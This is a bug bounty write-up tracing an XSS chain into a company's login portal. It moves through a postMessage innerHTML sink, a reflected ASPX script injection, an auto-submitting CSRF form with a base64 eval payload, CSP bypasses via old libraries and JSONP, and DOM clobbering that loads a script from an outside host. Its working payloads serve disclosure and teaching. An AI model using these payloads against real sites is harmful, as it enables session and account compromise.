A few years ago, I discovered a Cross-Site Scripting (XSS) chain that incorporated several interesting methods that I usually see in write-ups or Capture the Flag challenges. I had to heavily redact this blog post to ensure the anonymity of the company because it is a bug bounty program with a no disclosure policy. In this post you will see the story of the initial discovery, roadblocks, and finding ways to continue increasing impact to achieve our goal.
1) connect.secure.domain1.com postMessage
The company’s authentication portal creates a eventListener for postMessages using the following auth bridge JavaScript file:
https://connect.secure.domain1.com/auth/static/prefs/auth.bridge.host.fix.js
1 | window.addEventListener("message", obj.events.window.message, false); |
This JavaScript is primarily loaded on the following host: connect.secure.domain1.com. This is considered the most impactful domain for the company as it is where authenticated users interact with their accounts. There is an endpoint in this environment that initiates the message listener, so we start with looking at this:
- https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma
postMessages work by allowing you to send a message from one window to another. Consider it as passing a note to another tab, an iframe, or pop-up. By default, there are no origin restrictions and you can send messages from one website to any other website. Due to this, developers implement origin checks where they validate that the message came from a trusted origin. The auth.bridge.host.fix.js file contained the following host regex checks:
1 2 | ‘dev': new RegExp("^(https:\/\/)(([\\w]+(-[\\w]+)*)\\.)*(domain1|domain2)(\\.com)(:[0-9]*)$"), 'prod': new RegExp('^(https:\/\/)(([\\w]+(-[\\w]+)*)\\.)*(domain1|domain2)(\\.com)$') |
This is a fairly secure regex, it will only allow messages to come from *.domain1.com or *.domain2.com. The reason this is interesting though, is that the domain2.com increases our attack surface beyond the typical domain1.com host. There is a higher chance for us to find an XSS vulnerability in domain2 than the company’s primary domain. This is a big reason why bug bounty hunters’ having limited scope can sometimes limit the ability for a company to truly protect their attack surface. Attackers will find the weakest points of entry. Identifying the company’s threat surface and being able to highlight these weaknesses can improve your chances of escalating impact.
Even if we found a way to send a postMessage to domain2, postMessages are only as useful as their implemented functionality. The first thing we have to do is identify the functionality and see if there is a reason to exploit it. Usually you will see postMessages used to resize a window or as a ping check, things that are typically not useful for an attacker. So, we review the JavaScript code to see what code paths we can interact with to determine if there is a reason to continue.
If we follow the code chain for obj.events.window.message, we eventually get to the obj.actions function loginWidget.
Here are the important parts of the code:
1 2 3 4 5 6 7 8 | obj.actions = { 'loginWidget': function(e) { var params = e.data.params if(e.data.params.titleText) { obj.elements.title.innerHTML = e.data.params.titleText; } } } |
When our postMessage is received by the eventListener and gets passed off to the loginWidget function, the e param will contain all of the parameters we sent in our postMessage. Further down the code, we see that e.data.params.titleText is getting passed into the DOM via innerHTML which is a possible XSS sink.
Essentially what this means is that we can write HTML to the DOM via postMessages if we achieve an XSS on *.domain1.com and *.domain2.com. You might ask, why do you care about using XSS to achieve XSS? In this case, we want to maximize our impact by achieving XSS on the connect.secure.domain1.com subdomain.
So now that we have our sink, we need to hunt for an XSS vector on either of the domains. After a bit of hunting, we eventually discovered the following:
2) domain2.com XSS
There is an ASPX application on info.domain2.com that allows you to submit forms. Hunting for XSS on ASPX applications can sometimes be a futile effort because of how much protection it has for detecting HTML elements or XSS payloads in user input. This combined with the company’s WAF means that the struggle is real. Anywhere we try to use basic HTML or XSS payloads, we are likely to get blocked by one or both of these detection mechanisms.
Fortunately, we found that when submitting the form, some of our values got reflected inside of <script>.
Entry point:
- https://info.domain2.com/form.aspx?type=&email=hoot@hoot.com&url=https%3a%2f%2ftrain.domain2.com%2fRedacted.Name
The POST request:
1 2 3 4 | POST /form.aspx?type=&email=hoot%40hoot.com&url=https%3a%2f%2ftrain.domain2.com%2fRedacted.Name HTTP/2 Host: info.domain2.com __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=[viewstate]&__VIEWSTATEGENERATOR=DB68D79A&__EVENTVALIDATION=[validation]&hdnFulfill=2&hdnFAemail=&fld_4_FirstName=test&fld_4_LastName=test&fld_4_City=test';alert(1);//&fld_4_State=ME&fld_4_Phone1=redactedphone&fld_4_Email=&fld_4_new_exp_penguin=New+Penguin&fld_4_TrainingProgram=&fld_1_Submit=Submit |
This redirects you to the following page:
- https://info.domain2.com/FormThankYou.aspx?type=&cid=&email=
This page contains the following in the source:
1 2 3 4 5 6 7 8 9 10 11 | var pageTitle = 'Contact Us To Learn More'; var pageName = ':recruiting:forms::thank-you'; var formID = '63'; var s_events = 'event2'; var omnPageType = 'Confirmation Pages'; var omnConvPage = ''; var omnLeadID = '2286688'; engScore = engScore + parseInt(engScores['thank you']); var omnCity = 'test';alert(1);//'; var omnState = 'CA'; var omnZip = ''; |
Fortunately for us, the omnCity variable gets set by the fld_4_City POST request variable. This allows our input to break from the variable string and start to write JavaScript. From here, we can write JavaScript without worrying about ASPX detecting us injecting new unsafe HTML elements.
Typically ASPX viewstate is configured for secure randomness so that it acts as a bit of Cross-Site Request Forgery protection. We were fortunate in this case that the viewstate is static. That means we can create an XSS payload and forward the generated viewstate to the victim.
Now that we have our XSS, we have to write JavaScript to communicate back to the postMessage listener on connect.secure.domain1.com.
3) Sending our postMessage
There are a few issues we have to deal with before we can get this to function properly. To send a postMessage, we must either target a window.open() or iframe. There are pros and cons to both of these methods.
window.open()
- Requires user interaction to open or it gets blocked
iframe
- No user interaction, but X-Frame-Options header is typically set to SAMEORIGIN.
Given we are going from info.domain2.com to connect.secure.domain1.com, the X-Frame-Options route is unavailable to us. After writing a payload for window.open(), that did indeed require user interaction, we wanted to eliminate it. It was not until some time later that we realized they implemented a parameter that allowed us to utilize iframes.
After browsing around domain1.com applications for awhile, we eventually spotted the following parameter:
- https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma&allowFrom=https://a.domain1.com
This forces the request to respond with a header that essentially whitelists a specified host for iframes:
x-frame-options ALLOW-FROM https://a.domain1.com
However, it did not allow any arbitrary domain. It still required certain domain1.com domains, so it was working from some sort of whitelist. To our luck, it allowed info.domain2.com as part of the whitelist!
- https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma&allowFrom=https://info.domain2.com
x-frame-options ALLOW-FROM https://info.domain2.com
So with this, we can now write a no interaction XSS payload using <iframe width="300" height="150">’s.
4) Content-Security Policy Woes
Unfortunately, we did not have all the pieces in place yet. The auth widget also has a Content Security Policy in place. That means we cannot just inject script and be on our merry way. Here is the CSP rule:
1 2 | content-security-policy default-src https:; object-src 'none'; img-src https: data:; frame-ancestors 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com ; base-uri 'none'; script-src 'nonce-10f560df-f3c1-40a6-a38a-5a8f4b77f7ff' 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com; style-src 'unsafe-inline' 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com; font-src 'self' https://*.domain1.com https://*.domain2.com https://*.domain3.com https://*.domain4.com data:; report-uri https://o.domain1.com/reporting/csp |
Tossing this into Google’s CSP evaluator, we see the following:
Effectively what this means:
- We can only load <script> from any location if we supply a randomly generated nonce that we have no way of leaking.
- We can include <script> from the following domains:
- *.domain1.com
- *.domain2.com
- *.domain3.com
- *.domain4.com
- Even if we include a potentially vulnerable JavaScript file via <script>, there is no unsafe-inline which means most methods of evaluating JavaScript are going to be blocked.
5) Injecting external scripts into an already loaded DOM
Given these CSP rules, it’s important that we understand something about our exploit chain. There is no ability to run an inline unsafe eval, so we cannot use <script>[js]</script> or JavaScript in attributes such as <img onerror=[js]>. Why is this an important observation? We are writing HTML to the DOM via the innerHTML function. This all happens after the document is already loaded, therefore a new <script src=""> inserted into the DOM will not get loaded. There is a cool trick for this.
If we inject the JS file in via <iframe srcdoc="<script src=''></script>"></iframe>, it creates a new DOM ready trigger under the same context of the parent DOM. This gives us the ability to load a JS file via <script> even though we are writing to the page via innerHTML.
6) Some CSP Bypasses
The most common CSP bypasses at this point are the following:
- An old vulnerable JavaScript library with known CSP bypasses, such as Angular or Bootstrap. These libs have a way of processing our injected HTML in a way that it bypasses the unsafe-inline eval checks.
- A JSONP callback on one of the whitelisted domains. A vulnerable JSONP callback will allow us to load an endpoint with arbitrary JavaScript code in it.
- Some sort of file upload on one of these whitelisted domains where we can upload arbitrary JavaScript files.
In this specific instance of XSS, we were lucky. Given the four wildcard domains there, it is highly likely that we can find one of the following CSP bypass methods. In other areas of the company, we were not as fortunate as the whitelist was reduced down to *.domain1.com and *.domain3.com alone.
Some CSP bypasses that we discovered on domain2.com (redacted examples of random libraries you could find on a host):
- Bootstrap 3.3.7
- https://whales.domain2.com/n/arctic/bundle/sript/script2.js
- Bootstrap 3.3.7
- https://penguin.domain2.com/treehouse/script.js
- Bootstrap 3.3.7
- https://penguin.domain2.com/walrus/bundle/script/script.js
- Restricted JSONP via WordPress (can specify function names only)
- https://rhinos.domain2.com/?rest_route=/wp/v2/posts&_jsonp=alert
An Angular (1-click) CSP bypass on domain1.com:
- https://lemur.domain1.com/app/script/vendorscript-000000.js
One cool take away is that the company has a lot of dev, staging, and QA environments that are public-facing for each host. If you take a normal application, there is a good chance you can find a -qa or -dev environment. We discovered older versions of JavaScript libraries on some of these environments than on the production ones. This is due to the old environments likely not being utilized as often so security patches or code fixes are being deployed to production and sometimes not their one-off dev or staging environments.
7) Putting it all together
Using the Angular bypass we discovered on the lemur.domain1.com host, we can inject a link that when clicked will bypass CSP and execute JavaScript. Without being able to force a click, it is a 1-click and unlikely for a victim to interact with it. Either way, just to show the exploit flow so far, here is what the payload looks like. We put together our postMessage payload:
1 2 3 4 5 6 7 | <iframe srcdoc='<script src=\"https://lemur.domain1.com/app/script/vendorscript-000000.js\"></"+"script></p> <p> </p> <div ng-app ng-click=\"x=$event.view.window;x.alert(123)\"><a href=\"#\">F</a></div> <p> </p> <p>'></iframe> |
Now we need to send our payload via postMessage:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | function xss() { var payload = { "action":"loginWidget", "params":{ "showTitle":"true", "titleText":"<iframe srcdoc='<script src=\"https://lemur.domain1.com/app/script/vendorscript-000000.js\"></"+"script></p><p></p><div ng-app ng-click=\"x=$event.view.window;x.alert(123)\"><a href=\"#\">F</a></div><p></p><p>'></iframe>", "saveUsername":"test", "signUp":"test", "privacy":"test", "fraud":"test", "deepLink":"test", "destination":"test" } }; test.postMessage(payload,'*'); } var test = window.open('https://connect.secure.domain1.com/auth/login/present?widget=true&origin=ma'); setInterval(xss, 1000); |
With our postMessage payload set, we then base64 encode it and insert it into our CSRF/XSS payload on domain2.com:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <html> <body> <script>history.pushState('', '', '/')</script> <form id="frametest" action="https://info.domain2.com/form.aspx?type=&email=hoot%40hoot.com&url=https%3a%2f%2ftrain.domain2.com%2fRedacted.Name" method="POST"><input type="hidden" name="__EVENTTARGET" value="" /> <input type="hidden" name="__EVENTARGUMENT" value="" /> <input type="hidden" name="__VIEWSTATE" value="[viewstate]" /> <input type="hidden" name="__VIEWSTATEGENERATOR" value="DB68D79A" /> <input type="hidden" name="__EVENTVALIDATION" value="[validation]" /> <input type="hidden" name="hdnFulfill" value="2" /> <input type="hidden" name="hdnFAemail" value="" /> <input type="hidden" name="fld_4_FirstName" value="test" /> <input type="hidden" name="fld_4_LastName" value="test" /> <input type="hidden" name="fld_4_City" value="test';eval(atob('ZnVuY3Rpb24geHNzKCkgewogIHZhciBwYXlsb2FkID0gewogICAgImFjdGlvbiI6ImxvZ2luV2lkZ2V0IiwKICAgICJwYXJhbXMiOnsKICAgICAgInNob3dUaXRsZSI6InRydWUiLAogICAgICAidGl0bGVUZXh0IjoiPGlmcmFtZSBzcmNkb2M9JzxzY3JpcHQgc3JjPVwiaHR0cHM6Ly9tYXJrZXRkYXRhLWN0ZS53ZWxsc2ZhcmdvLmNvbS9BcHBDb21waWxlZC9TY3JpcHRzL3ZlbmRvcnNjcmlwdHMtNzZlZmJmZDEwOC5qc1wiPjwvIisic2NyaXB0PjxkaXYgbmctYXBwIG5nLWNsaWNrPVwieD0kZXZlbnQudmlldy53aW5kb3c7eC5hbGVydCgxMjMpXCI+PGEgaHJlZj1cIiNcIj5GPC9hPjwvZGl2Pic+PC9pZnJhbWU+IiwKICAgICAgInNhdmVVc2VybmFtZSI6InRlc3QiLAogICAgICAic2lnblVwIjoidGVzdCIsCiAgICAgICJwcml2YWN5IjoidGVzdCIsCiAgICAgICJmcmF1ZCI6InRlc3QiLAogICAgICAiZGVlcExpbmsiOiJ0ZXN0IiwKICAgICAgImRlc3RpbmF0aW9uIjoidGVzdCIKICAgIH0KICB9OwoKICB0ZXN0LnBvc3RNZXNzYWdlKHBheWxvYWQsJyonKTsKfQoKdmFyIHRlc3QgPSB3aW5kb3cub3BlbignaHR0cHM6Ly9jb25uZWN0LnNlY3VyZS53ZWxsc2ZhcmdvLmNvbS9hdXRoL2xvZ2luL3ByZXNlbnQ/aXNXaWRnZXQ9dHJ1ZSZsb2dpbldpZGdldFZlcnNpb249MS4yJndMYW5nUHJlZj1FTkcmb3JpZ2luPW1hYScpOwoKc2V0SW50ZXJ2YWwoeHNzLCAxMDAwKTsK'));//" /> <input type="hidden" name="fld_4_State" value="ME" /> <input type="hidden" name="fld_4_Phone1" value="redactedphone" /> <input type="hidden" name="fld_4_Email" value="test@test.com" /> <input type="hidden" name="fld_4_new_exp_peguin" value="Penguin" /> <input type="hidden" name="fld_4_BusinessModel" value="Penguin" /> <input type="hidden" name="fld_4_TrainingProgram" value="Penguin" /> <input type="hidden" name="fld_1_Submit" value="Submit" /> </form><script>history.pushState('', '', '/')</script> <script> document.getElementById("frametest").submit(); </script> |
Note: To keep this short, I’ve removed the viewstate and validation params as they are massive strings.
When the victim loads our CSRF payload to submit the form, they get forwarded to the thanks page, it opens a new window, and our XSS payload is embedded in the page. When they click the link, they execute an alert in the context of the domain.
Now, how about with <iframe>? It’s the same idea, utilizing the allowFrom parameter we discovered, we can specify the info.domain2.com domain and send our postMessage to an iframe we embed on the page: </iframe>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | var iframe = document.createElement('iframe'); iframe.id = 'test'; iframe.src = 'https://connect.secure.domain1.com/auth/login/present?widget=true&origin=oas&allowFrom=https://info.domain2.com'; document.body.appendChild(iframe); function xss() { var payload = { "action":"loginWidget", "params":{ "showTitle":"true", "titleText":"<iframe class="mce-object" title="<script>" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" width="20" height="20" data-wp-preserve="%3Cscript%20src%3D'https%3A%2F%2Frhinos.domain2.com%2F%3Frest_route%3D%2Fwp%2Fv2%2Fposts%26_jsonp%3Dalert'%3E%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1">\"></iframe>", "saveUsername":"test", "signUp":"test", "privacy":"test", "fraud":"test", "deepLink":"test", "destination":"test" } }; document.getElementById('test').contentWindow.postMessage(payload, "*") } setInterval(xss, 100); |
This would achieve a completely 0-click alert within the context of connect.secure.domain1.com, but the JSONP we have is restricted and we cannot specify arbitrary JavaScript.
At this point I had already spent a few days on it and decided to submit it as-is. That never sits well with me though, I had to see it through for maximum impact.
8) It’s DOM-Clobberin’ Time
About a week later while exploring more of the company’s scope, I discovered a new endpoint that I had not seen before. It was unlikely for endpoints on the connect.secure.domain1.com environment to lack CSP headers. This HTML fragment is considered a static asset that gets loaded in dynamically:
- https://connect.secure.domain1.com/s/static/bananas.html
It has no CSP headers!
While it does not look like much, at the very bottom of the file is the following JavaScript:
1 2 3 4 5 6 | <script charset="utf-8" type="text/javascript"> var script = document.createElement("script") script.type = "text/javascript"; script.src = window.parent.mGlobals.nuanceLaunchJS; // get from global variables document.getElementsByTagName("head")[0].appendChild(script); </script> |
This has high potential to be used as a CSP bypass for the following reasons:
- We can inject an <iframe width="300" height="150"> on connect.secure.domain1.com context which falls under the SAMEORIGIN criteria.
- mGlobals is not declared on https://connect.secure.domain1.com/auth/login/present’s DOM
- It is assigning the URI via .src which means the browser is going to process it with toString().
Putting those three things together, we should be able to clobber it and write an arbitrary JavaScript URI that when loaded will execute under the context of connect.secure.domain1.com due to the files lack of CSP headers in the response.
With the help of Jazzy (as well as reading a blog post from Gareth Hayes on the subject), I was able to figure out how to piece this together.
We can assign mGlobals.juanceLaunchJS to the DOM using the following:
1 | <iframe name=mGlobals srcdoc="<a id='nuanceLaunchJS' href='https://xss.buer.haus/secure-csp.js'></a>"></iframe> |
From here, we can inject our iframe:
1 | <iframe src="https://connect.secure.domain1.com/s/static/bananas.html"></iframe> |
Now when it references window.mGlobals.nuanceLaunchJS, it will reference the iframe -> a element. When it goes to script.src, it passes it as .toString() which then fetches the href value of the a element.
At this point it will fetch the external JS file and execute without CSP restriction!
9) Takeaways
Keep track of pieces
It’s always useful to keep track of origins, headers, CSP rules, and JavaScript files in your Burp state when you’re bug bounty hunting. Some of these observations are small clues that on their own may not be useful, but when combined can lead to vulnerabilities. Never underestimate the ability to sift through your Burp history using the search term filter to discover potential XSS sinks in JavaScript or find key pieces of chains that you are missing.
Never rule out postMessages
The company has an old public VDP and this vulnerability chain went undiscovered for quite some time.
There are some very popular programs that once every few months I will do a sweep for new eventlisteners for postMessages. Many people rely on browser extensions to identify the functionality or they do not look for it at all. People end up missing some of these exploits because they are not hitting the flows to initiate the postMessages and the extensions will never see it. Manually searching for them and understanding the code flows will help you find vulnerabilities that other people are missing.
A technique that people who do binary exploitation fuzzing utilize is to spend time increasing their fuzzing coverage to as much of the binary as possible. Take a similar approach with bug bounty, ensure that you are covering as much ground as possible to find vulnerabilities.
Even still, there are some great Browser add-ons for getting notifications of postMessages, as well as ease for tracking them. One of these add-ons was released by the legendary Fransrosen:
DOM Clobbering and endless resources
I read about DOM clobbering back when trying to do Cure53's XSSMAS challenges almost a decade ago. While I understood the concepts, I had never actually found an example of this in the wild.
I wish I had spent more time creating playgrounds to interact with it so I could better understand it. Without the help of Jazzy and a few others while working on this exploit chain, I would not have considered it and may have been stuck hunting for a JSONP endpoint that did not exist.
We have endless amounts of topics to research in this space, but it’s important to familiarize yourself with the concepts to recognize them in the wild.
Lastly
Collaborate! Even the most clever hackers will miss things. Surround yourself with others and you are sure to catch things that each other are missing.